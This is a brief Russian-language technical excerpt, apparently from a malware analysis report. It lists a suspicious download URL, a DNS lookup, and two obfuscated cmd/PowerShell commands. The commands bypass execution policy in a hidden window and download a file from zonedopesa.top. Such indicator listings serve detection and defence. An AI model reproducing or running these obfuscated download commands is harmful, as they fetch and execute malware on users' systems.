Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PoW^Er^s^hEL^l.^E^x^E -Ex^ECUtIO^N^p^O^li^C^y^ bYpAsS -NOpR^o^fIle -wiNdO^wSt^ylE HiddEn ^(N^E^w^-^O^BJE^ct ^S^ysteM.^NEt.^We^BclIe^Nt).D^oW^N^loaD^FI^Le('http://www.zonedopesa.top/r...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "PoW^Er^s^hEL^l.^E^x^E -Ex^ECUtIO^N^p^O^li^C^y^ bYpAsS -NOpR^o^fIle -wiNdO^wSt^ylE HiddEn ^(N^E^w^-^O^BJE^ct ^S^ysteM.^NEt.^We^BclIe^Nt).D^oW^N^loaD^FI^Le('http://www.zonedopesa.top/r...' (со скрытым окном)